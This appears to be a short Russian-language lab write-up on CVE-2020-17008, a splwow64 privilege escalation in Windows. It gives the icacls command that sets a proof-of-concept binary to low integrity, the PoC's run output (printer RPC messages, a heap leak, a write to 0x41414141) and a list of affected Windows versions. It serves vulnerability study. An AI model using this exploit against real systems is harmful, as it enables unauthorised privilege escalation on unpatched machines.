CVE-2020-17008 splWOW64 Повышение привилегий
C:\Windows\splwow64.exe
PoC от:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2096
0x01 Установка splwow64_poc.exe Low
cd splwow64_poc\x64\Release
icacls splwow64_poc.exe /setintegritylevel L

/setintegritylevel [(CI)(OI)] явно добавляет ACE целостности
ко всем соответствующим файлам. Доступные уровни:
L[ow]
M[edium]
H[igh]
Параметры наследования ACE целостности могут быть заданы перед уровнем, но применяются только к
каталогам.
0x02 Запуск splwow64_poc.exe

splwow64_poc\x64\Release>splwow64_poc.exe
Start
ntdll = 0x7FF837980000
Init done
C:\Users\pwned\Desktop\splwow64_poc\x64\Release
C:\Users\pwned\Desktop\splwow64_poc\x64\Release\CreateDC.exe
Now's the time to hook up the debugger to splwow64.exe if you want to. Press [Enter] to continue . . .
Get port name
name: \RPC Control\UmpdProxy_2_bea57_0_2000
Create port.
Prepare 0x6A Message - OpenPrinter
PtrMsgReply: 0x0000000000AB0140
ClientView: 0x0000027F390B0000/0x0000000000AB0000, 0x0000027F390B0100: Microsoft XPS Document Writer
Writing message 0x6A success!
Cookie: 0x0
Preparing 0x6D message (to leak heap address) - DocumentEvent
Output: 0x0000000000000000, Heap Address: 0xFFFFFFFFFFFFFFC0
Preparing 0x6D message (write to 0x41414141) - DocumentEvent
Done
Затронутые версии
- Windows 10 версии 1607 (для систем на базе x64)
- Windows 10 версии 1607 для 32-разрядных систем
- Windows 10 (для систем на базе x64)
- Windows 10 (для 32-разрядных систем)
- Windows 10 версии 1709 (для систем на базе ARM64)
- Windows 10 версии 1709 (для систем на базе x64)
- Windows 10 версии 1709 для 32-разрядных систем
- Windows 10 версии 1809 (для систем на базе ARM64)
- Windows 10 версии 1809 (для систем на базе x64)
- Windows 10 версии 1809 для 32-разрядных систем
- Windows Server версии 1803 (установка Server Core)
- Windows 10 версии 1803 (для систем на базе ARM64)
- Windows 10 версии 1803 (для систем на базе x64)
- Windows 10 версии 1803 для 32-разрядных систем
- Windows Server версии 1903 (установка Server Core)
- Windows 10 версии 1903 (для систем на базе ARM64)
- Windows 10 версии 1903 (для систем на базе x64)
- Windows 10 версии 1903 для 32-разрядных систем
- Windows Server версии 1909 (установка Server Core)
- Windows 10 версии 1909 (для систем на базе ARM64)
- Windows 10 версии 1909 (для систем на базе x64)
- Windows 10 версии 1909 для 32-разрядных систем
- Windows Server версии 2004 (установка Server Core)
- Windows 10 версии 2004 (для систем на базе x64)
- Windows 10 версии 2004 (для систем на базе ARM64)
- Windows 10 версии 2004 (для 32-разрядных систем)
- Windows Server 2016 (установка Server Core)
- Windows Server 2016
- Windows Server 2019 (установка Server Core)
- Windows Server 2019
- Windows Server 2012
- Windows Server 2012 R2 (установка Server Core)
- Windows Server 2012 R2
- Windows Server 2012 (установка Server Core)
- Windows RT 8.1
- Windows 8.1 (для систем на базе x64)
- Windows 8.1 (для 32-разрядных систем)